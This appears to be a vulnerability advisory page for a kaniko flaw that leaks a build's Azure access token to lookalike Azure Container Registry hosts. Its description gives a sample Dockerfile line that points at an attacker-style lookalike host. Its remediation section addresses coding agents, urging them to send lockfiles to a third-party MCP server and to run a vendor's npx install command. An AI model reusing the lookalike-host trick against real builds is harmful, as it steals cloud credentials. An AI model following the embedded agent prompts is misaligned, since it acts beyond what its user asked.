# CVE-2026-105769: kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

kaniko before 1.25.20 can send a build's Azure access token to lookalike ACR registry hosts when the build has an Azure identity. Fixed in 1.25.20.

- Also known as: EUVD-2026-115331
- Severity: CVSS 9.3 (Critical), CNA
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
- CISA SSVC: exploitation=none, automatable=no, technicalImpact=total
- Known exploited (CISA KEV): no
- Exposure: Specific setups only
- Fixed in: 1.25.20
- Published: 2026-11-02 · Updated: 2026-11-02

## Summary

kaniko, the container image build tool, is affected when it runs in Azure with an Azure identity, such as a service principal, federated workload identity, or managed identity. A build that pulls an image from a specially crafted hostname that merely contains an Azure Container Registry domain can leak the build's Azure access token to the attacker's server, allowing the attacker to act on Azure resources with that identity's permissions until the token expires.

Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources.

## Affected

- github.com/chainguard-dev/kaniko: fixed in 1.25.20

## Description

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

## What to do

- Check your stack: if you ship or depend on github.com/chainguard-dev/kaniko, upgrade to a fixed version (1.25.20) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=CVE-2026-105769

## FAQ

### What does this mean?

When an image registry has no credentials in the Docker config and is not a Google or Amazon ECR registry, kaniko consults its built-in ACR helper. In an affected setup, kaniko can send the build's Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a lookalike registry host, which gives the recipient a live token usable until it expires. The recipient can also exchange it for credentials to ACR registries that the identity can access.

Source: https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97

### Am I affected, and how do I check?

kaniko versions before 1.25.20 are affected, and only in builds where the ACR helper can get an Azure identity from service principal credentials, a federated workload identity token, or a managed identity. To check, look at the kaniko version in use and whether the build environment has Azure credentials, federated tokens, MSI_ENDPOINT, or MSI_SECRET set.

Source: https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97

### What should I do about it?

Upgrade kaniko to 1.25.20 or later. Rebuild the executor, the warmer, and docker-credential-acr-env from v1.25.20 or later.

Source: https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97

### Is it being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.

Source: https://cve.now/CVE-2026-105769

## Related

- Browse: [Critical entries](https://cve.now/critical.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
- https://github.com/chainguard-forks/kaniko/pull/495
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
- https://github.com/chrismellard/docker-credential-acr-env/issues/21
- https://pkg.go.dev/vuln/GO-2026-6225

---

Source: cve.now, built and run by Sazabi
Page: https://cve.now/CVE-2026-105769
JSON: https://cve.now/api/v1/entries/CVE-2026-105769
Uses NVD data; not endorsed by NVD.
